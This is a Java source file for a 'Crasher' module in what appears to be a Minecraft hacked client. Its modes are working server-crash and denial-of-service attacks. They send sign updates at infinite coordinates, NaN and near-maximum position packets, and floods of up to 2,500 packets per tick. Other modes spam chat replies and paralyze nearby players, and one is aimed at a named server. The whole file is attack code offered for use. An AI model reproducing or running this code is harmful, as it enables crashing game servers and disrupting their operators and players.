package tech.dort.dortware.impl.modules.exploit;

import com.google.common.eventbus.Subscribe;
import net.minecraft.client.entity.EntityPlayerSP;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.network.play.client.C01PacketChatMessage;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C12PacketUpdateSign;
import net.minecraft.util.BlockPos;
import net.minecraft.util.ChatComponentText;
import net.minecraft.util.IChatComponent;
import tech.dort.dortware.api.module.Module;
import tech.dort.dortware.api.module.ModuleData;
import tech.dort.dortware.api.property.impl.EnumValue;
import tech.dort.dortware.api.property.impl.interfaces.INameable;
import tech.dort.dortware.impl.events.UpdateEvent;
import tech.dort.dortware.impl.utils.AltUtils;
import tech.dort.dortware.impl.utils.movement.MotionUtils;
import tech.dort.dortware.impl.utils.networking.PacketUtil;

public class Crasher extends Module {

    private final EnumValue<Mode> enumValue = new EnumValue<>("Mode", this, Crasher.Mode.values());

    public Crasher(ModuleData moduleData) {
        super(moduleData);
        register(enumValue);
    }

    @Subscribe
    public void onTick(UpdateEvent event) {
        switch (enumValue.getValue()) {
            case REPLY_SPAM:
                PacketUtil.sendPacketNoEvent(new C01PacketChatMessage("/r Hello!"));
                break;
            case SIGN:
                final IChatComponent[] signText = new IChatComponent[]{new ChatComponentText(AltUtils.generateName()), new ChatComponentText(AltUtils.generateName()), new ChatComponentText(AltUtils.generateName()), new ChatComponentText(AltUtils.generateName())};
                PacketUtil.sendPacket(new C12PacketUpdateSign(new BlockPos(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY), signText));
                break;
            case PARALYZE:
                if (isInsidePlayer()) {
                    for (int loop = 0; loop < 500; ++loop) {
                        PacketUtil.sendPacket(new C03PacketPlayer(true));
                    }
                }
                break;
            case EXPLOIT:
                MotionUtils.setMotion(0);
                if (mc.thePlayer.ticksExisted % 20 == 0) {
                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
                            mc.thePlayer.posX + 99413,
                            mc.thePlayer.getEntityBoundingBox().minY,
                            mc.thePlayer.posZ + 99413,
                            //1000000
                            true
                    ));

                }
                break;
            case EXPLOIT2:
                MotionUtils.setMotion(0);
                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
                        mc.thePlayer.posX + 99413,
                        mc.thePlayer.getEntityBoundingBox().minY,
                        mc.thePlayer.posZ + 99413,
                        //1000000
                        true
                ));

                break;
            case NAN:
                MotionUtils.setMotion(0);
                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
                        Float.NaN,
                        Float.NaN,
                        Float.NaN,
                        //1000000
                        true
                ));

                break;
            case CUBECRAFT:
                PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(Float.MAX_VALUE - 1, Float.MAX_VALUE - 1, Float.MAX_VALUE - 1, true));
                break;
            case EXPLOIT_FIXER:
                for (int index = 0; index < 2500; ++index) {
                    PacketUtil.sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 999 * index, mc.thePlayer.getEntityBoundingBox().minY + 999 * index, mc.thePlayer.posZ + 999 * index, true));
                }
                break;
        }
    }

    private boolean isInsidePlayer() {
        for (EntityPlayer entityPlayer : mc.theWorld.playerEntities) {
            if (entityPlayer instanceof EntityPlayerSP)
                continue;
            if (entityPlayer.getDistanceToEntity(mc.thePlayer) <= 0.995D) {
                return true;
            }
        }
        return false;
    }

    public String getSuffix() {
        return " \2477" + enumValue.getValue().getDisplayName();
    }

    public enum Mode implements INameable {
        REPLY_SPAM("Reply Spam"), SIGN("Sign"), PARALYZE("Paralyze"), EXPLOIT("Exploit"), EXPLOIT2("Exploit 2"), CUBECRAFT("Cubecraft"), NAN("NaN"), EXPLOIT_FIXER("Exploit Fixer");
        private final String name;

        Mode(String name) {
            this.name = name;
        }

        @Override
        public String getDisplayName() {
            return name;
        }
    }
}
